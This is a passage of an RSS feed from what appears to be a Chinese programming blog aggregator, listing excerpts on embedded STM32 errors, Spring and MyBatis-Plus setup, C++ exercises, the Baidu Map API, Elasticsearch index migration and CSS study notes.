      <description> 本文禁止转载！！！！&#xA;Error: L6406E: No space in execution regions with .ANY selector matching dunder.o(i.__mathlib_dbl_underflow).&#xA;单片机资源受限，出现这种错误，一般可以从以下几个方面进行优化：&#xA;第一，增加堆栈空间的大小，修改对应的汇编文件：&#xA;第二，修改编译器中的优化等级为O3&#xA;第三，去除掉冗余的不需要的库文件，不要编译到工程中，只保留自己需要的外设&#xA;如果以上三步还是不行，那么需要进一步的裁减代码&#xA;第四步，裁减工程目录中的不需要的代码。具体的裁减方式可以查看map文件，双击工程就可以打开map文件。&#xA;在map文件映射中，会包含所有的函数列表。&#xA;仔细查看里面的函数列表，如果发现函数没有被调用，那么就删除掉这个函数的定义和声明&#xA;必要的情况下，可以删减ARM官方库中的文件。&#xA;删除项目中没有使用到的宏定义，变量类型声明，尽量减少全局变量，减少大的局部变量的使用&#xA;第五、去除掉printf&#xA;因为printf会占用大量的内存空间，使用到这个printf会暂用内存，所以去除掉调试语句。&#xA;这一点经常被忽略，但是确实非常重要的。 </description>
    </item>
    <item>
      <title>win10下torch和trt无法一起加载</title>
      <link>https://bchobby.github.io/posts/aa58037354075879da9dafbd9fcf8e59/</link>
      <pubDate>Tue, 08 Mar 2022 15:38:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa58037354075879da9dafbd9fcf8e59/</guid>
      <description> self._handle = _dlopen(self._name, mode)&#xA;OSError: [WinError 127] 找不到指定的程序。&#xA;import torch import tensorrt as trt 就这两行代码然后就报错了&#xA;OSError: [WinError 127] 找不到指定的程序。 这里推测 我有两个cuda版本，trt依赖的是cuda11.5，torch依赖是cuda11.3&#xA;先加载torch导致trt找不到依赖的库。&#xA;解决方案，先加载trt，再加载torch。&#xA;import tensorrt as trt import torch if __name__ == &#34;__main__&#34;: print(torch.__version__) print(trt.__version__) print(&#34;hello world&#34;) </description>
    </item>
    <item>
      <title>spring实验2</title>
      <link>https://bchobby.github.io/posts/b043dfe7d197d9a96dc14e116817299b/</link>
      <pubDate>Tue, 08 Mar 2022 15:21:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b043dfe7d197d9a96dc14e116817299b/</guid>
      <description>实验二SpringAOP的使用 实验目的：&#xA;了解AOP的概念和作用理解AOP中的切面以及通知熟悉Spring中两种动态代理方式的区别掌握基于代理类的AOP实现 实验类型：&#xA;验证性&#xA;实验学时：&#xA;2学时&#xA;实验内容：&#xA;实验任务1：创建项目，导入相关依赖&#xA;&amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;aopalliance&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;aopalliance&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--spring包--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-webmvc&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.2.0.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;junit&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;junit&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.12&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.aspectj&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;aspectjweaver&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.8.13&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 实验任务2：创建目标接口和实现类&#xA;public interface UserDao { public void addUser(); public void deleteUser(); } public interface ScoreDao { public void addScore(); public void deleteScore(); } public interface StudentDao { public void addStudent(); public void deleteStudent(); } @Repository(&#34;scoreDao&#34;) public class ScoreDapImpl implements ScoreDao { public void addScore() { System.</description>
    </item>
    <item>
      <title>C&#43;&#43;代码笔记</title>
      <link>https://bchobby.github.io/posts/a3453609ef7cfdefd8c405bf75afa347/</link>
      <pubDate>Tue, 08 Mar 2022 15:18:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3453609ef7cfdefd8c405bf75afa347/</guid>
      <description>猜数字游戏 系统随机生成一个1到100之间的数字，玩家进行猜测，如果猜错，提示玩家数字过大或过小，如果猜对恭喜玩家胜利，并且退出游戏。&#xA;错解：&#xA;#include&amp;lt;iostream&amp;gt; #include&amp;lt;cstdlib&amp;gt; using namespace std; int main() { int num = rand() %100+1;//生成0-100的随机数 int a=0; cout &amp;lt;&amp;lt; &#34;请输入猜测的数字: &#34;&amp;lt;&amp;lt;endl; cin &amp;gt;&amp;gt; a; if(a&amp;gt;num) { cout&amp;lt;&amp;lt;&#34;数字大了&#34;&amp;lt;&amp;lt;endl; } else if(a&amp;lt;num) { cout&amp;lt;&amp;lt;&#34;数字小了&#34;&amp;lt;&amp;lt;endl; } else(a=num) { cout&amp;lt;&amp;lt;&#34;恭喜你，猜对了&#34;&amp;lt;&amp;lt;endl; } system(&#34;pause&#34;); return 0; } 分析：1；while循环&#xA;2：随机数种子&#xA;3：循环跳出的条件&#xA;if嵌套的循环语句中，最后一个else没有（），切记&#xA;正解：&#xA;#include&amp;lt;iostream&amp;gt; #include&amp;lt;cstdlib&amp;gt; #include&amp;lt;ctime&amp;gt; //随机数种子的头文件 using namespace std; int main() { srand(time(NULL));//防止每次生成的随机数都一样 int num = rand() %100+1;//生成随机数种子 int a=0; //&#x9;cout&amp;lt;&amp;lt; num&amp;lt;&amp;lt;endl; cout &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>从.yml配置文件中读取属性值</title>
      <link>https://bchobby.github.io/posts/ca8d05cc11c08ac95349fc476b4cdbad/</link>
      <pubDate>Tue, 08 Mar 2022 11:19:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca8d05cc11c08ac95349fc476b4cdbad/</guid>
      <description>从.yml配置文件中读取属性值 实现YamlPropertySourceFactory类关联的对象类 参考文章 springboot使用@PropertySource的默认factory是读取.properties文件属性。&#xA;如果要读取yml或者yaml格式的文件属性值，需要自定义一个YamlPropertySourceFactory&#xA;实现YamlPropertySourceFactory类 package com.example.demo.config; import lombok.AllArgsConstructor; import org.springframework.beans.factory.config.YamlPropertiesFactoryBean; import org.springframework.boot.env.YamlPropertySourceLoader; import org.springframework.core.env.PropertiesPropertySource; import org.springframework.core.env.PropertySource; import org.springframework.core.io.support.DefaultPropertySourceFactory; import org.springframework.core.io.support.EncodedResource; import org.springframework.core.io.support.PropertySourceFactory; import java.io.FileNotFoundException; import java.io.IOException; import java.util.Properties; public class YamlPropertySourceFactory extends DefaultPropertySourceFactory { @Override public PropertySource&amp;lt;?&amp;gt; createPropertySource(String name, EncodedResource resource) throws IOException { // 指定配置路径中的文件名 String filename = resource.getResource().getFilename() == null ? &#34;&#34; : resource.getResource().getFilename(); // 资源为空，则会抛出异常 resource.getInputStream(); // 配置文件为 properties 文件，调用原逻辑 if (resource == null || filename.</description>
    </item>
    <item>
      <title>c&#43;&#43;字母三角形</title>
      <link>https://bchobby.github.io/posts/9ef9e50552309e50323be7cf0fdd036f/</link>
      <pubDate>Tue, 08 Mar 2022 10:46:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ef9e50552309e50323be7cf0fdd036f/</guid>
      <description>输出一个稍微复杂的三角形，输入一个大写字母(A-z)或者一个数字( 1-9 ) 。&#xA;比如输入是F的时候，输出:&#xA;输入是3的时候，输出：&#xA;示例代码：&#xA;#include&amp;lt;iostream&amp;gt; using namespace std; int main() { char c; cin &amp;gt;&amp;gt; c; if (c &amp;gt;= &#39;A&#39; &amp;amp;&amp;amp; c &amp;lt;= &#39;Z&#39;) { for (int i = 1; i &amp;lt;= c - &#39;A&#39; + 1; i++)&#x9;//行数 { for (int j = 1; j &amp;lt;= c - &#39;A&#39; + 1 - i; j++)&#x9;//每行的空格数为最后一行是第几行减去当前行数 { cout &amp;lt;&amp;lt; &#34; &#34;; } for (int j = 1; j &amp;lt;= i; j++)&#x9;//递增的部分，第一行1个， 第二行2个 { cout &amp;lt;&amp;lt; char(&#39;A&#39; + j - 1); } for (int j = i - 1; j &amp;gt;= 1; j--)&#x9;//递减的部分 { cout &amp;lt;&amp;lt; char(&#39;A&#39; + j - 1); } cout &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>HTML表格（HTML 表格的使用，收藏这一篇就够了）</title>
      <link>https://bchobby.github.io/posts/d109ba413bfe895a113d8d3554f2ca6d/</link>
      <pubDate>Tue, 08 Mar 2022 10:18:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d109ba413bfe895a113d8d3554f2ca6d/</guid>
      <description>HTML 表格 文章目录 HTML 表格 1. 表格的定义2. 表格的标签3. 单元格边框(border)4. 合并单元格 4.1 合并行单元格(colspan)4.2 合并列单元格(rowspan) 5. 表格格式设置 5.1 单元格的对齐（align）（居中，左对齐，右对齐）5.2. 背景色&amp;amp;图片（bgcolor &amp;amp; background） 5.2.1 单元格背景色&amp;amp;图片5.2.2 表格背景色&amp;amp;图片 5.3 单元格的边距（cellpadding）5.4 单元格间的距离(cellspacing)5.5 显示部分边框（frame &amp;amp; rules） 1. 表格的定义 &amp;lt;table&amp;gt; 标签定义 HTML 表格。简单的 HTML 表格由 table 元素以及一个或多个 &amp;lt;tr&amp;gt;、&amp;lt;th&amp;gt; 或 &amp;lt;td&amp;gt; 元素组成表格结构；其中： &amp;lt;tr&amp;gt; 元素定义表格行，&amp;lt;th&amp;gt; 元素定义表头，&amp;lt;td&amp;gt; 元素定义表格单元。&#xA;为了让表格更美观，我们会用到：border，colspan，rowspan，align，bgcolor 等来美化表格，具体在本文都有讲解；&#xA;2. 表格的标签 在HTML定义表格的时候，有以下标签供我们使用&#xA;NO&#xA;表格标签&#xA;用处&#xA;1&#xA;&amp;lt;table&amp;gt;&#xA;定义表格，生成的表格在一对&amp;lt;table&amp;gt;&amp;lt;/table&amp;gt;中；&#xA;2&#xA;&amp;lt;caption&amp;gt;&#xA;定义表格标题，当表格需要标题时，使用&amp;lt;caption&amp;gt;表格标题&amp;lt;/caption&amp;gt;&#xA;3&#xA;&amp;lt;thead&amp;gt;&#xA;定义表格的页眉&#xA;4&#xA;&amp;lt;tbody&amp;gt;&#xA;定义表格的主体&#xA;5&#xA;&amp;lt;tfoot&amp;gt;</description>
    </item>
    <item>
      <title>百度地图 获取当前位置 添加标记物等基础使用 JavaScript API</title>
      <link>https://bchobby.github.io/posts/edf1d0edf5c92df2d04714d9e8cfa61c/</link>
      <pubDate>Tue, 08 Mar 2022 09:34:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/edf1d0edf5c92df2d04714d9e8cfa61c/</guid>
      <description>目标：实现一个能自动定位我当前位置的地图，并且地图上能显示我想要标记物，以及能搜索地图对应的位置。这地图只能在IE浏览器上有效果，其他浏览器不支持。&#xA;先上效果图：&#xA;接下来说说怎么实现：&#xA;1.首先先去百度地图开放平台注册个账号：百度开发平台&#xA;然后点击控制台&#xA;填写开发者资料并认证。&#xA;2.接着去创建AK，也就是授权码，这个很关键，必须要去申请创建，要不然项目中没法调用百度地图的API。&#xA;这里应用名称随便写，应用类型选择服务端，启用服务按我图中勾选为主。&#xA;设置白名单IP：设置0.0.0.0/0就行&#xA;点完提交就能获取到AK了，记得保存下来，后面会用到。&#xA;3.在对应页面中，引入百度api的js&#xA;&amp;lt;script type=&#34;text/javascript&#34; src=&#34;//api.map.baidu.com/api?v=2.0&amp;amp;ak=你的AK&#34;&amp;gt;&amp;lt;/script&amp;gt; 4.写上你想承载这地图dom元素&#xA;&amp;lt;div id=&#34;r-result&#34;&amp;gt;地点搜索:&amp;lt;input type=&#34;text&#34; id=&#34;suggestId&#34; size=&#34;20&#34; placeholder=&#34;请输入地点信息...&#34; style=&#34;width:250px;margin-top: 10px;margin-left:10px;padding: 0 20px;line-height: 36px;&#34; /&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div id=&#34;searchResultPanel&#34; style=&#34;border:1px solid #C0C0C0;width:150px;height:auto; display:none;&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div id=&#34;l-map&#34; style=&#34;width:700px; height:680px;margin-top: 10px;&#34;&amp;gt;&amp;lt;/div&amp;gt; 5.实现获取当前位置的Js代码：这里如果获取成功，会执行locationSuccess的回调方法。如果获取失败了，会执行locationError回调方法。&#xA;function getNowLocation() { if (navigator.geolocation) { navigator.geolocation.getCurrentPosition(locationSuccess, locationError, { // 指示浏览器获取高精度的位置，默认为false enableHighAccuracy: true, // 指定获取地理位置的超时时间，默认不限时，单位为毫秒 timeout: 5000, // 最长有效期，在重复获取地理位置时，此参数指定多久再次获取位置。 maximumAge: 3000 }); }else{ alert(&#34;浏览器不支持Html5来获取地理位置信息&#34;); } } locationSuccess回调方法实现：也就是获取当前位置的经度和纬度（H5浏览器自带的定位功能），然后根据经度和纬度获取当前的位置（调用百度api方法）&#xA;function locationSuccess(position) { let lat = position.</description>
    </item>
    <item>
      <title>outputStream转inputStream</title>
      <link>https://bchobby.github.io/posts/3ea7d5ec3008ac66e470a0615f532f76/</link>
      <pubDate>Mon, 07 Mar 2022 16:56:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ea7d5ec3008ac66e470a0615f532f76/</guid>
      <description>如果你在Java程序中处理IO流的话，很快就会碰到如下的场景，你向一个类中的OutputStream写数据，同时需要从另一个类的InputStream中读取这些数据，在一些流式的场景更多，例如我们在一个HTTP的请求中，客户端请求的资源需要较长时间的处理，为了避免端测的长时间等待，我们可以处理好一部分数据就先返回一部分数据，减少不必要的等待，这个时候我们就需要考虑到这两种流的互转。这边主要介绍3中转换的方法&#xA;方法一：使用byte array缓存转换 代码示例如下&#xA;ByteArrayOutputStream baos = new ByteArrayOutputStream(); ByteArrayInputStream swapStream = new ByteArrayInputStream(baos.toByteArray()); 这种方式最为简单，但是要求执行baos.toByteArray()这个方法之前，需要的数据已经完全写入，即无法做到边写边读，另外其需要足够的内存来一次性的容纳这些数据。&#xA;方法二：使用Pipes 代码示例如下&#xA;PipedInputStream in = new PipedInputStream(); PipedOutputStream out = new PipedOutputStream(in); new Thread( new Runnable(){ public void run(){ class1.putDataOnOutputStream(out); } } ).start(); class2.processDataFromInputStream(in); 顾名思义，pipe即为管道，这种方法支持流式的方式，一端写一端读，向PipedOutputStream写入的数据可以从PipedInputStream读出，很好的解决了方法一中的短处，是个人较为推荐的一种方式。&#xA;注意 PipedInputStream中存储数据的数组大小默认为1024，且使用过程中不可扩充，当一次性写入的数据超过这个数，则会有个AssertionError抛出。当然，我们可以在初始化PipedInputStream的时候进行设置。上述代码仅为pipe的一种使用的方式，其也可以初始化如下 PipedOutputStream out = new PipedOutputStream(); PipedInputStream in = new PipedInputStream(out); 两种方式等价。&#xA;方法三：使用Circular Buffers 作为PipedInputStream和PipedOutputStream的一种替代方式，CircularBuffer有着更为简单的数据结构和使用方法，但是其并不是JDK自带的类需要额外引入&#xA;&amp;lt;!-- https://mvnrepository.com/artifact/org.ostermiller/utils --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.ostermiller&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;utils&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.07.00&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 其使用代码示例如下&#xA;CircularByteBuffer cbb = new CircularByteBuffer(); new Thread( new Runnable(){ public void run(){ class1.</description>
    </item>
    <item>
      <title>orm框架 MyBatis-Plus（Spring boot &#43; Gradle）安装与入门【2022年】</title>
      <link>https://bchobby.github.io/posts/4e55982b56520268f229fca7b0f85a4e/</link>
      <pubDate>Mon, 07 Mar 2022 15:55:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e55982b56520268f229fca7b0f85a4e/</guid>
      <description>前言 写此文的原因在于，由于软件版本迭代的太快了，网上的许多教程已经不合适了，同时有许多命令并不太懂其含义。&#xA;如果觉得本篇章对您有所帮助，希望能给我一个赞，稍稍鼓励一下，非常感谢。&#xA;官方教程 传送门&#xA;我的版本信息 java 17.0.1（后面修改成8了，如果有差异会在文章中注明）gradle 7.4mysql 8.0mybatis plusv 3.5.1 官方版本更新日志 安装教程 首先创建一个Spring boot（Gradle）项目，具体教程与此入门教程传送门一致&#xA;安装相关依赖&#xA;Spring Boot&#xA;Maven：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.baomidou&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-plus-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.5.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; Gradle:&#xA;打开build.gradle compile group: &#39;com.baomidou&#39;, name: &#39;mybatis-plus-boot-starter&#39;, version: &#39;3.5.1&#39; 由于新版取消了compile的用法，所以，无法运行或者是出现报错的可以更改为如下 implementation group: &#39;com.baomidou&#39;, name: &#39;mybatis-plus-boot-starter&#39;, version: &#39;3.5.1&#39; 版本号version可以根据官方的进行具体的修改&#xA;其他配置&#xA;dependencies { //SpringBoot 基础配置 implementation &#39;org.springframework.boot:spring-boot-starter-web&#39; testImplementation &#39;org.springframework.boot:spring-boot-starter-test&#39; //Mybatis-plus(简称MP)依赖 implementation group: &#39;com.baomidou&#39;, name: &#39;mybatis-plus-boot-starter&#39;, version: &#39;3.5.1&#39; //lombok java库依赖 compileOnly &#39;org.projectlombok:lombok&#39; annotationProcessor &#39;org.projectlombok:lombok&#39; //devtool 用于配置热部署的，可以删去 developmentOnly &#39;org.</description>
    </item>
    <item>
      <title>source insight打开时闪退的解决办法</title>
      <link>https://bchobby.github.io/posts/6b041bfd44e7e315ad7b448ad7c602fc/</link>
      <pubDate>Mon, 07 Mar 2022 15:40:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b041bfd44e7e315ad7b448ad7c602fc/</guid>
      <description>完美解决source insight4启动时闪退的方法：&#xA;ource Insight 4.0打开一会就闪退 解决方法&#xA;补充一句：闪退其实是因为软件开了自动更新导致的，先用兼容模式运行source insight4，进软件后按照上述博客中的步骤关闭自动更新，然后关闭source insight4后可以在桌面快捷方式的属性里面把兼容模式去掉，然后就可以正常使用source insight4了。&#xA;以下是闲话，可看可不看，哈哈~&#xA;csdn上所有的方法都试过了，都快要放弃source insight转用vscode了，最后在Source Insight崩溃的2种解决方法这篇文章的评论区里面看到了一个方法，然后试了下，果然就好了。&#xA;上述文章中的评论区里面的网友给的方法是以兼容模式运行source insight4：&#xA;桌面快捷方式上面右键-属性-兼容性-选择以兼容性运行这个程序。&#xA;在兼容性-&amp;gt;兼容模式中，将以兼容模式运行这个程序打钩，然后点击确定，然后回到桌面，双击source insight的快捷方式打开。&#xA;上述方法是可以解决一启动就闪退的问题，但是还是会出现在使用过程中突然闪退的情况。于是继续csdn，竟然发现很多网友在这段时间都遇到了这种问题。最终也发现了真正解决问题的办法：&#xA;ource Insight 4.0打开一会就闪退 解决方法</description>
    </item>
    <item>
      <title>ES索引迁移 可跨服务器</title>
      <link>https://bchobby.github.io/posts/572748c7e6d58f38719e8ff5c1255237/</link>
      <pubDate>Mon, 07 Mar 2022 15:34:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/572748c7e6d58f38719e8ff5c1255237/</guid>
      <description>使用ElasticSearch的HTTP接口&#xA;使用Python对HTTP进行封装&#xA;迁移时将所需迁移的Field进行替换即可&#xA;import json import requests url = &#34;http://127.0.0.1:9200/索引名/_search?size=索引个数&amp;amp;from=0&#34; # 此处填写你的ElasticSearch的URL data = { &#34;query&#34;: { &#34;match_all&#34;: { } } } # 使用match_all对原始索引数据进行下载 HEADERS = {&#39;Content-Type&#39;: &#39;application/json;charset=UTF-8&#39;} res = requests.get(url=url, data=json.dumps(data), headers=HEADERS) res_js = res.json() # print(res_js) print(len(res_js[&#39;hits&#39;][&#39;hits&#39;])) n = 0 for i in range(0, len(res_js[&#39;hits&#39;][&#39;hits&#39;])): query = { # 可根据自己实际需要添加索引的FIE老师 &#39;Field1&#39;: res_js[&#39;hits&#39;][&#39;hits&#39;][i][&#39;_source&#39;][&#39;Field1&#39;], &#39;Field2&#39;: res_js[&#39;hits&#39;][&#39;hits&#39;][i][&#39;_source&#39;][&#39;Field2&#39;], &#39;Field3&#39;: res_js[&#39;hits&#39;][&#39;hits&#39;][i][&#39;_source&#39;][&#39;Field3&#39;], &#39;Field4&#39;: res_js[&#39;hits&#39;][&#39;hits&#39;][i][&#39;_source&#39;][&#39;Field4&#39;], &#39;Field5&#39;: res_js[&#39;hits&#39;][&#39;hits&#39;][i][&#39;_source&#39;][&#39;Field5&#39;], &#39;Field6&#39;: res_js[&#39;hits&#39;][&#39;hits&#39;][i][&#39;_source&#39;][&#39;Field6&#39;], &#39;Field7&#39;: res_js[&#39;hits&#39;][&#39;hits&#39;][i][&#39;_source&#39;][&#39;Field7&#39;] } url = &#39;http://新的URL:9200/新的索引的名/新的Type/&#39; + str(res_js[&#39;hits&#39;][&#39;hits&#39;][i][&#39;_source&#39;][&#39;id&#39;]) es = requests.</description>
    </item>
    <item>
      <title>import org.apache.hadoop.conf.Configuration无法import；The import org.apache cannot be resolved</title>
      <link>https://bchobby.github.io/posts/cec2ecf4e990c36cd2afe1c14da02dd9/</link>
      <pubDate>Mon, 07 Mar 2022 14:47:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cec2ecf4e990c36cd2afe1c14da02dd9/</guid>
      <description>查找网上许多方法都没用，最后自己从包处解决&#xA;import org.apache.hadoop.conf.Configuration;&#xA;import org.apache.hadoop.fs.FileSystem;&#xA;import org.apache.hadoop.fs.Path;&#xA;import org.apache.hadoop.io.IOUtils;&#xA;出现上述都无法import的情况&#xA;报错显示：The import org.apache cannot be resolved&#xA;分析得出无法找到对应的包，而看报错先看第一个报错&#xA;org.apache.hadoop.conf.Configuration这个的包是&#xA;hadoop-common-2.7.3.jar&#xA;解决方法如下：：&#xA;右键项目——》点击属性Properties&#xA;在Libraries找到这个包,&#xA;双击这个包，找到这个包的真正路劲，选中（一开始我是这个包后面的路劲错了，所以没找到这个包）&#xA;大家在自己电脑要找到属于它的真正位置，当然如果你不是因为这个原因，那就爱莫能助了&#xA;说一下我上面这个包的路劲是在：&#xA;按道理，大家找到自己hadoop的安装包，然后在其share\hadoop\common\下即可找到&#xA;若是·找不到再整个电脑找一下，实在找不到再去网上找这个jar包下载放进去即可&#xA;点击Apply-》OK&#xA;可以看到正常import了&#xA;谢谢阅读，有用的话可以点个赞嘛</description>
    </item>
    <item>
      <title>STM32定时器学习-PWM输出</title>
      <link>https://bchobby.github.io/posts/95045be979207f40beffc857da4ebd6e/</link>
      <pubDate>Mon, 07 Mar 2022 14:31:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95045be979207f40beffc857da4ebd6e/</guid>
      <description>基本定时器 最基础功能定时，两个基础定时器TM6和TM7,基本定时器时钟源只来自内部时钟。&#xA;如果我们想要一个1s的定时，那么我们应该怎么设置定时器呢？&#xA;首先了解定时器的基本初始化结构体&#xA;typedef struct { uint16_t Prescaler; // 预分频器 uint16_t CounterMode; // 计数模式 uint32_t Period; // 定时器周期 uint16_t ClockDivision; // 时钟分频 uint8_t RepetitionCounter; // 重复计算器 } TIM_Base_InitTypeDef; 首先考虑计数模式（CounterMode），定时器有五种计数模式，向上计数、向下计数、三种中心对齐模式，本实验的基本定时器只能是向上计数，从0开始计数，并且无需初始化。定时器预分频器设置（Prescaler），设置它来取得每次计数的时间。例如每次计数的时间为100us，我们称之为时钟源周期，因为输入时钟为84MHZ，所以设置预分频器为（8400-1）定时器周期（Period） 刚刚我们知道了时钟源时间，一个时钟源时间我们刚刚设定为100us，如果我们有10000个这样的时间我们就有了1s定时。而系统是从0开始计数的所以我们设定时需要减一（10000-1）。ClockDivision：时钟分频，设置定时器时钟 CK_INT 频率与数字滤波器采样时钟频率分频比， 基本定时器没有此功能，不用设置。RepetitionCounter：重复计数器，属于高级控制寄存器专用寄存器位，利用它可以非常容易控制输出 PWM 的个数。 这里不用设置。 基本定时器只需要设定两个成员就行。&#xA;我们来看初始化基本定时器函数&#xA;static void TIM_Mode_Config(void) { // 开启 TIMx_CLK,x[6,7] __TIM6_CLK_ENABLE(); TIM_TimeBaseStructure.Instance = TIM6; /* 累计 TIM_Period 个后产生一个更新或者中断*/ //当定时器从 0 计数到 4999，即为 5000 次，为一个定时周期 TIM_TimeBaseStructure.Init.Period = 5000-1; //定时器时钟源 TIMxCLK = 2 * PCLK1 // PCLK1 = HCLK / 4 // =&amp;gt; TIMxCLK=HCLK/2=SystemCoreClock/2=84MHz // 设定定时器频率为=TIMxCLK/(TIM_Prescaler+1)=10000Hz TIM_TimeBaseStructure.</description>
    </item>
    <item>
      <title>RuntimeError: Error compiling objects for extension 和nvcc fatal : Unsupported gpu architecture ‘c</title>
      <link>https://bchobby.github.io/posts/7c7351eb33bab2d264fbfff9f7ce4e19/</link>
      <pubDate>Mon, 07 Mar 2022 14:11:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c7351eb33bab2d264fbfff9f7ce4e19/</guid>
      <description>记录一下最近跑TinaFace代码在原来服务器跑没有问题，新服务器跑遇到的错误&#xA;首先，按照官网步骤安装相关包：&#xA;本人环境：&#xA;显卡驱动版本： NVIDIA-SMI 460.73.01 Driver Version: 460.106.00 CUDA Version: 11.2&#xA;CUDA版本：nvcc -V： Cuda compilation tools, release 11.1, V11.1.74&#xA;pytorch 1.8.1 torchvision 0.9.1 mmcv-full 1.4.6 mmdet 2.22.0 cudatoolkit 11.1.1 ps：如果没有安装上mmcv或者mmdet，不要怀疑，肯定是你的版本有问题。这个问题博主也遇到了。&#xA;检查上面版本，通常来讲，没有任何问题。&#xA;cudatoolkit严格按照cuda版本安装的，mmdet也是根据cuda版本和pytorch版本安装的。&#xA;不出意外的话出意外了，最后一步执行命令 pip install -v -e . 编辑vedadet报错：&#xA;Installing collected packages: vedadet Running setup.py develop for vedadet Running command /mnt/data/cbm/software/anaconda3/envs/lw/bin/python -c &#39;import io, os, sys, setuptools, tokenize; sys.argv[0] = &#39;&#34;&#39;&#34;&#39;/mnt/data1/lw/vedadet-main/setup.py&#39;&#34;&#39;&#34;&#39;; __file__=&#39;&#34;&#39;&#34;&#39;/mnt/data1/lw/vedadet-main/setup.py&#39;&#34;&#39;&#34;&#39;;f = getattr(tokenize, &#39;&#34;&#39;&#34;&#39;open&#39;&#34;&#39;&#34;&#39;, open)(__file__) if os.path.exists(__file__) else io.</description>
    </item>
    <item>
      <title>最最详细的黑马前端HTML5&#43;CSS3笔记，给大家整理好了</title>
      <link>https://bchobby.github.io/posts/5f76fc4fe6ff4a6bca5df265245d5f4e/</link>
      <pubDate>Mon, 07 Mar 2022 08:42:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f76fc4fe6ff4a6bca5df265245d5f4e/</guid>
      <description>基于黑马前端视频学习的CSS3笔记，每一天的知识点都放在一起，方便学习查阅 ==CSS第一天== 一、css简介二、css语法规范三、css代码风格四、css选择器的作用五、css基础选择器 1、标签选择器：2、类选择器3、多类名选择器4、id选择器：5、id选择器和类选择器的区别6、通配符选择器7、选择器总结 六、css字体属性: 1、字体大小：2、字体粗细：3、字体样式：4、字体的综合写法5、字体总结： 七、css文本属性： 1、文本颜色：2、文本对齐：3、修饰文本：4、文本缩进5、行间距： 八、css样式表： 1、行内样式表（行内式）2、内部样式表（嵌入式）3、外部样式表（链接式） 九、Chrome调试工具： ==CSS第二天== 一、emmet语法 1、简介2、快速生成HTML结构语法3、快速生成CSS样式语法4、快速格式化代码 二、css的复合选择器 1、什么是复合选择器？2、后代选择器 (重要）3、子选择器 (重要）4、并集选择器 (重要）5、伪类选择器6、链接伪类选择器7、:focus 伪类选择器复合选择器总结 三、css的显示模式 1、什么是元素的显示模式2、元素显示模式的分类 2.1、块元素2.2、行内元素2.3、行内块元素2.4、元素显示模式总结 3、元素显示模式的转换4、单行文字垂直居中的代码 四、css的背景 1、背景颜色2、背景图片3、背景平铺4、背景图片位置5、背景图片固定6、背景样式合写7、背景色半透明8、背景总结 ==CSS第三天== 一、css三大特性 1、层叠性2、继承性3、优先级 3.1、权重叠加（重点） 二、盒子模型 1、网页布局的本质 1.1、网页布局过程1.2、网页布局三大核心 2、盒子模型（Box Model）组成3、边框（border） 3.1、边框的使用3.2、表格的细线边框3.3、边框会影响盒子实际大小 4、内边距（padding） 4.1、内边距的使用方式4.2、内边距会影响盒子实际大小 5、外边距（margin） 5.1、外边距的使用方式5.2、外边距典型应用5.3、外边距合并5.4、清除内外边距 三、PS 基本操作 ==CSS第四天== 一、其他样式 1、圆角边框2、盒子阴影3、文字阴影 二、浮动 1、传统网页布局的三种方式2、标准流（普通流/文档流）3、为什么需要浮动？4、什么是浮动？5、浮动特性6、浮动元素经常和标准流父级搭配使用 三、常见网页布局 浮动布局注意点 四、清除浮动 1、为什么需要清除浮动？2、清除浮动本质3、清除浮动样式4、清除浮动的多种方式 4.1、额外标签法4.2、父级添加 overflow 属性4.3、父级添加after伪元素4.4、父级添加双伪元素 总结 五、PS 切图 1、图层切图2、切片切图3、PS插件切图 ==CSS第五天== 1. PS 切图 1.1. 常见的图片格式1.2. 图层切图1.3. 切片切图1.4. 插件切图 1.4.1. 介绍1.4.2. 安装 2.</description>
    </item>
    <item>
      <title>如何让图片变得更清晰（汇总中）</title>
